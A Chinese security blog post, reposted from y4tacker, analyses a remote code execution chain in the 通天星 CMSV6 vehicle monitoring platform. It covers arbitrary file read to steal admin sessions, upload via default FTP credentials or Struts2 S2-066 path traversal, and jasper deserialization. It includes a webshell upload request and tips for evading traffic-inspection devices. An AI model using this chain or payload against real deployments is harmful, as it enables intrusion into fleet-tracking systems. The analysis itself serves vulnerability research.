浅析通天星CMSV6车载定位监控平台远程代码执行漏洞

admin 2024年10月29日00:32:43评论13 views字数 14498阅读48分19秒阅读模式

浅析通天星CMSV6车载定位监控平台远程代码执行漏洞

写在前面

看了一下通告看着还是比较有意思的,通天星CMSV6车载定位监控平台远程代码执行漏洞

第一步是通过任意文件读取漏洞,读取log日志获取admin的session信息

第二步通过默认密码登录ftp服务器上传文件(或通过后台任意文件上传漏洞)

第三步触发上传文件中的恶意代码

正文

采用了经典SSH架构

任意文件读取

关于任意文件读取,从官方安全公告也不难看出:

(中危)修复StandardSchoolBusAction_downLoad.action接口任意文件下载问题

漏洞点位于StandardSchoolBusAction的downLoad功能,这部分访问规则的配置看struts2.xml即可

定义了class与mothod的访问方式

1
<action name="**/*_*.action" class="{2}" method="{3}">

经过简单的分析发现,实际漏洞点在com.gpsCommon.action.CommonBaseAction#downLoad,代码逻辑比较简单就不详细分析了,相关代码如下,可以看到读取的文件不仅可以是使用绝对路径,也可以使用相对路径读取任意文件

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
public String downLoad() {    int result = 0;    try {        String filePath = this.getDownloadFileRealPath(this.getRequest());        if ((!filePath.contains("tomcat/") || filePath.contains("tomcat/ttxapps")) && !filePath.contains(".xml") && !filePath.contains("WEB-INF") && !filePath.contains("classes")) {            if (!AssertUtils.isNull(filePath)) {                InputStream ins = null;                BufferedInputStream bins = null;                OutputStream outs = null;                BufferedOutputStream bouts = null;                Integer requestStringEx = this.getRequestInteger("isTure");                Integer isStream = this.getRequestInteger("isStream");                Integer isDel = this.getRequestInteger("isDel");                String fileRealPath = null;                if (requestStringEx != null && requestStringEx == 1) {                    fileRealPath = filePath;                } else {                    fileRealPath = this.getDownloadFileRealPath(this.getServletContext(), filePath);                }                File file = new File(fileRealPath);                if (file.exists()) {                    ins = new FileInputStream(fileRealPath);                    bins = new BufferedInputStream(ins);                    outs = this.getResponse().getOutputStream();                    bouts = new BufferedOutputStream(outs);                    if (isStream == null || isStream != 1) {                        this.setDownLoadParam(this.getRequest(), this.getResponse(), file.getName());                    }                    int b = false;                    byte[] buffer = new byte[512];                    int b;                    while((b = bins.read(buffer)) != -1) {                        bouts.write(buffer, 0, b);                    }                    bouts.flush();                    ins.close();                    bins.close();                    outs.close();                    bouts.close();                    if (isDel != null && isDel == 1 && file.exists()) {                        file.delete();                    }                } else {                    result = 44;                    this.addCustomResponse(ACTION_RESULT, 44);                    this.addCustomResponse(ACTION_RESULT_TIP, "File Not Exist!");                    this.log.error("下载的文件不存在");                }            } else {                result = 8;                this.addCustomResponse(ACTION_RESULT, 8);                this.addCustomResponse(ACTION_RESULT_TIP, "Request Param Error!");                this.log.error("下载文件时参数错误");            }        } else {            result = 24;            this.addCustomResponse(ACTION_RESULT, 24);            this.addCustomResponse(ACTION_RESULT_TIP, "Permission denied!");            this.log.error("用户无权限下载Tomcat内的文件");        }    } catch (Exception var14) {        this.log.error(var14.getMessage(), var14);        result = 4;        this.addCustomResponse(ACTION_RESULT, 4);        this.addCustomResponse(ACTION_RESULT_TIP, "Request Exception!");    }    return this.getReturnParam(result);}protected String getDownloadFileRealPath(HttpServletRequest request) {    return this.getRequestStringEx("path");}public String getRequestStringEx(String parameter) {    return RequestUtil.getRequestStringEx(parameter);}public static String getRequestStringEx(String parameter) {    try {        HttpServletRequest request = getRequest();        if (request == null) {            return null;        } else {            request.setCharacterEncoding("UTF-8");            String param = request.getParameter(parameter);            return param != null ? URLDecoder.decode(param, StandardCharsets.UTF_8) : null;        }    } catch (Exception var3) {        log.error(var3.getMessage(), var3);        return null;    }}

通过任意文件读取我们能很容易读取到session信息

浅析通天星CMSV6车载定位监控平台远程代码执行漏洞

另外多提一嘴,漏洞点com.gpsCommon.action.CommonBaseAction#downLoad在抽象类当中,通过将tomcat下class手动打包为jar后分析,不难发现实际受影响的路由多达320个,因此实际利用时我们不必拘泥与官方公告提到的一种

浅析通天星CMSV6车载定位监控平台远程代码执行漏洞

后台文件上传

文件上传有两种方式,一种通过FTP服务,如果用户为更改默认密码那么即可使用其登录上传文件

另一种,既然有了session,我们便很容易能够使用此session调用后台接口,比如WebuploaderAction#ajaxAttachAllFileUpload

浅析通天星CMSV6车载定位监控平台远程代码执行漏洞

但很可惜的是代码中有关于上传文件后缀的严格限制,因此我们无法实现直接上传webshell文件

12
String getsuffix = getsuffixEx(fileName);if (!limitType(getsuffix)) {

反序列化

但我们不必灰心,在公告中我们不难发现上传了一些名为jasper后缀的文件

浅析通天星CMSV6车载定位监控平台远程代码执行漏洞

因此我们需要去寻找加载恶意jasper文件的路由,在com.gps808.operationManagement.action.StandardLineAction#report

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576
public void report() {    try {        String format = this.getRequestString("format");        String name = this.getRequestString("name");        String lid = this.getRequestString("id");        String direct = this.getRequestString("direct");        String disposition = this.getRequestString("disposition");        String reportTitle = "";        StandardCompany line = (StandardCompany)this.standardLineService.getObject(StandardCompany.class, Integer.parseInt(lid));        if (line != null) {            reportTitle = line.getName();            if (direct != null) {                if (direct.equals("0")) {                    reportTitle = reportTitle + "S";                } else if (direct.equals("1")) {                    reportTitle = reportTitle + "X";                }            }        }        AjaxDto<StandardLineStationRelationStation> stationRelation = this.standardLineService.getLineStationInfos(Integer.parseInt(lid), Integer.parseInt(direct), 1, " order by sindex asc ", (Pagination)null);        List<Map> list = new ArrayList();        String language = this.getAndUpdateSessionLanguage();        if (stationRelation != null && stationRelation.getPageList() != null) {            int i = 0;            for(int j = stationRelation.getPageList().size(); i < j; ++i) {                StandardLineStationRelationStation relation = (StandardLineStationRelationStation)stationRelation.getPageList().get(i);                Map map = new HashMap();                map.put("sindex", relation.getSindex());                map.put("name", relation.getStation().getName());                map.put("direct", this.getStationDirectEx(relation.getStation().getDirect(), language));                map.put("stype", this.getStationTypeEx(relation.getStype(), language));                map.put("lngIn", GpsUtil.formatPosition(relation.getStation().getLngIn()));                map.put("latIn", GpsUtil.formatPosition(relation.getStation().getLatIn()));                map.put("angleIn", relation.getStation().getAngleIn());                map.put("speed", GpsUtil.getFormatSpeed(relation.getSpeed(), 1, new Boolean[0]));                map.put("len", GpsUtil.getFormatLiCheng(relation.getLen()));                list.add(map);            }        }        Map mapHeads = new HashMap();        mapHeads.put("sindex", LanguageCache.getLanguageTextEx("line_station_index", language));        mapHeads.put("name", LanguageCache.getLanguageTextEx("line_station_name", language));        mapHeads.put("direct", LanguageCache.getLanguageTextEx("line_station_direction", language));        mapHeads.put("stype", LanguageCache.getLanguageTextEx("line_station_type", language));        mapHeads.put("lngIn", LanguageCache.getLanguageTextEx("line_station_in_lng", language));        mapHeads.put("latIn", LanguageCache.getLanguageTextEx("line_station_in_lat", language));        mapHeads.put("angleIn", LanguageCache.getLanguageTextEx("line_station_in_angle", language));        mapHeads.put("speed", LanguageCache.getLanguageTextEx("line_station_limit_speed", language) + " (KM/H)");        mapHeads.put("len", LanguageCache.getLanguageTextEx("line_station_distance", language) + " (KM)");        ReportPrint print = null;        try {            print = this.getReportCreate().createReport(name);            print.setMapHeads(mapHeads);            print.setReportTitle(reportTitle);            print.setDateSource(list);            print.setFormat(format);            print.setDocumentName(name);            print.setDisposition(disposition);            print.exportReport();        } catch (IOException var15) {            this.log.error(var15.getMessage(), var15);        } catch (ServletException var16) {            this.log.error(var16.getMessage(), var16);        } catch (Exception var17) {            this.log.error(var17.getMessage(), var17);        }    } catch (Exception var18) {        this.log.error(var18.getMessage(), var18);        this.addCustomResponse(ACTION_RESULT, 1);    }}

在这些代码中我们重点关注this.getReportCreate().createReport(name);

12345678910111213141516171819
// com.gpsCommon.action.CommonBaseActionprotected ReportCreater getReportCreate() {    if (this.reportCreate == null) {        this.reportCreate = new ReportCreater();        this.reportCreate.setJasperReportPath(ServletActionContext.getServletContext().getRealPath("WEB-INF\\jasper"));    }    return this.reportCreate;}// com.framework.jasperReports.ReportCreater#createReportpublic ReportPrint createReport(String reportKey) throws IOException {    try {        return this._createReport(reportKey);    } catch (JRException var3) {        this.log.error(var3.getMessage(), var3);        throw new IOException();    }}

继续跟进_createReport的调用,

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576
// com.framework.jasperReports.ReportCreaterprivate ReportPrint _createReport(String reportKey) throws JRException, IOException {    JasperReport jasperReport = this.getJasperReport(reportKey);    Map parameters = this.getParameters_(reportKey);    ReportPrint reportPrint = new ReportPrint(jasperReport, parameters);    return reportPrint;}private JasperReport getJasperReport(String reportKey) throws IOException, JRException {    JasperReport jasperReport = null;    if (this.jasperDesignMap.containsKey(reportKey)) {        jasperReport = (JasperReport)this.jasperDesignMap.get(reportKey);    } else {        jasperReport = this.getJasperReportFromFile(reportKey);        this.jasperDesignMap.put(reportKey, jasperReport);    }    return jasperReport;}private JasperReport getJasperReportFromFile(String reportKey) throws IOException, JRException {    String filePath = this.jasperReportPath + "\\" + reportKey + ".jasper";    File reportFile = null;    JasperReport jasperReport = null;    reportFile = new File(filePath);    if (reportFile.exists() && reportFile.isFile()) {        jasperReport = (JasperReport)JRLoader.loadObject(reportFile);    }    return jasperReport;}// net.sf.jasperreports.engine.util.JRLoaderpublic static Object loadObject(File file) throws JRException {    return loadObject(DefaultJasperReportsContext.getInstance(), (File)file);}public static Object loadObject(JasperReportsContext jasperReportsContext, File file) throws JRException {    if (file.exists() && file.isFile()) {        Object obj = null;        FileInputStream fis = null;        ObjectInputStream ois = null;        try {            fis = new FileInputStream(file);            BufferedInputStream bufferedIn = new BufferedInputStream(fis);            ois = new ContextClassLoaderObjectInputStream(jasperReportsContext, bufferedIn);            obj = ois.readObject();        } catch (IOException var17) {            throw new JRException("util.loader.object.from.file.loading.error", new Object[]{file}, var17);        } catch (ClassNotFoundException var18) {            throw new JRException("util.loader.class.not.found.from.file", new Object[]{file}, var18);        } finally {            if (ois != null) {                try {                    ois.close();                } catch (IOException var16) {                }            }            if (fis != null) {                try {                    fis.close();                } catch (IOException var15) {                }            }        }        return obj;    } else {        throw new JRException(new FileNotFoundException(String.valueOf(file)));    }}

从以下调用链不难发现最终会通过文件内容触发反序列化执行,并且在这过程中文件名未做校验可以穿越到FTP服务目录下

com.framework.jasperReports.ReportCreater#_createReport=>com.framework.jasperReports.ReportCreater#getJasperReport=>com.framework.jasperReports.ReportCreater#getJasperReportFromFile=>net.sf.jasperreports.engine.util.JRLoader#loadObject=>net.sf.jasperreports.engine.util.ContextClassLoaderObjectInputStream#readObject

因此最终漏洞的完整利用就出来了

尝试突破文件上传限制

但我们也知道如果仅仅是依赖ftp默认用户名实现文件上传的话那可就太难了,在开始前简单聊一下struts2的配置

在配置中写到了action的访问方式,但我们的路由访问并未出现全类名,那它是怎么找到具体的类的呢?

1
<action name="*_*.action" class="{1}" method="{2}">

经过查找,可以在applicationContext-xxxx.xml中定义的bean中找到答案,我们可以直接使用bean-name得到这个类

12
<bean name="StandardApiAction" class="com.gps808.api.action.StandardApiAction" scope="prototype" parent="standardUserBaseAction">xxxxxx

而如果这个类未在xml中定义我们就需要使用全类名来标识这个类,此时我们便可以将目标锁定到com.framework.web.action.FileUploadAction#upload

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package com.framework.web.action;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.util.List;public class FileUploadAction extends BaseAction {    private static final long serialVersionUID = 1L;    private String describe;    private List<File> uploadFile;    private List<String> uploadFileFileName;    private List<String> uploadFileContentType;    public FileUploadAction() {    }    public boolean hasOperatorPrivi() {        return true;    }    public void upload() {        for(int i = 0; i < this.uploadFileFileName.size(); ++i) {            BufferedInputStream bis = null;            BufferedOutputStream bos = null;            String fileName = (String)this.uploadFileFileName.get(i);            try {                if (!"".equals(fileName)) {                    FileInputStream fis = new FileInputStream((File)this.uploadFile.get(i));                    FileOutputStream fos = new FileOutputStream("C:\\" + fileName);                    bis = new BufferedInputStream(fis);                    bos = new BufferedOutputStream(fos);                    byte[] b = new byte[1024];                    int len = true;                    int len;                    while((len = bis.read(b)) != -1) {                        bos.write(b, 0, len);                    }                }            } catch (Exception var17) {            } finally {                try {                    if (bis != null) {                        bis.close();                    }                    if (bos != null) {                        bos.close();                    }                } catch (IOException var16) {                }            }        }    }    public String image() throws Exception {        try {            this.upload();        } catch (Exception var2) {            this.log.error(var2.getMessage(), var2);            this.addCustomResponse(ACTION_RESULT, 1);        }        return "success";    }    public String getDescribe() {        return this.describe;    }    public void setDescribe(String describe) {        this.describe = describe;    }    public List<File> getUploadFile() {        return this.uploadFile;    }    public void setUploadFile(List<File> uploadFile) {        this.uploadFile = uploadFile;    }    public List<String> getUploadFileFileName() {        return this.uploadFileFileName;    }    public void setUploadFileFileName(List<String> uploadFileFileName) {        this.uploadFileFileName = uploadFileFileName;    }    public List<String> getUploadFileContentType() {        return this.uploadFileContentType;    }    public void setUploadFileContentType(List<String> uploadFileContentType) {        this.uploadFileContentType = uploadFileContentType;    }}

可以在代码中看到直接的路径拼接,FileOutputStream fos = new FileOutputStream("C:\\" + fileName);,因此我们便可以直接上传jasper文件并触发反序列化了

另一方面既然可以任意写入,我们很容易想到在子目录下写入webshell文件,但由于是struts2的上传处理,在org.apache.struts2.interceptor.FileUploadInterceptor中,在这个拦截器最终获取文件名时,会处理带\以及/的文件名

12345678910111213
protected String getCanonicalName(final String originalFileName) {      String fileName = originalFileName;      int forwardSlash = fileName.lastIndexOf('/');      int backwardSlash = fileName.lastIndexOf('\\');      if (forwardSlash != -1 && forwardSlash > backwardSlash) {          fileName = fileName.substring(forwardSlash + 1);      } else {          fileName = fileName.substring(backwardSlash + 1);      }      return fileName;  }

这时候怎么办呢?我们知道struts2在23年年底出了一个新漏洞,这时候便可以排出用场了,忘了的可以回顾我之前的文章,Apache Struts2 文件上传分析(S2-066)

因此我们便能够构造,达到前台RCE的效果

1234567891011
--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfvContent-Disposition: form-data; name="UploadFile";filename="z12.jsp";Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document<%out.print("Hacked By Y4tacker");%>--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfvContent-Disposition: form-data; name="uploadFileFileName";Program Files\CMSServerV6\tomcat\webapps\gpsweb\1.jsp--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv--

但很可惜新版本中struts2的依赖更新到了2.5.33的安全版本,并且将com.framework.web.action.FileUploadAction#upload强行设置了路径404并移除了上传处理逻辑,因此在新版本中也便失效了

结合S2的漏洞时间可以大胆猜测也许是在年底前删除的?当然由于我没有代码所以无处验证了,在实战环境中可以多做尝试

对抗流量设备的一些尝试

  • 不仅仅可以读取log_info.log获取用户session,还可以尝试读取web.xml文件,在当中配置了Druid监控的用户名以及密码,在老版本中这个配置默认启用,新版本中druid监控成为了可选项,但不失为一种漏洞利用的尝试

  • 使用全类名替代bean的获取形式,假如流量设备拦截路由为/StandardABCAction_downLoad,我们完全可以使用/com.xxx.xxxxAction_downLoad的形式尝试绕过

  • 我们不仅可以使用官方公告中使用的StandardSchoolBusAction路由,经过分析凡是继承了com.gpsCommon.action.CommonBaseAction的类均能使用

- source:y4tacker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:32:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析通天星CMSV6车载定位监控平台远程代码执行漏洞https://cn-sec.com/archives/3314468.html

发表评论

匿名网友 填写信息